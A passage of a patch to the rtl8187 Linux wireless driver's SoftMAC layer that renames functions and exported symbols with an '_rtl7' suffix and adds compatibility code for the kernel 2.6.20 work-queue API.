init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1728,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1756,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1779,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { - + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1876,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-06-08 23:30:47.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ 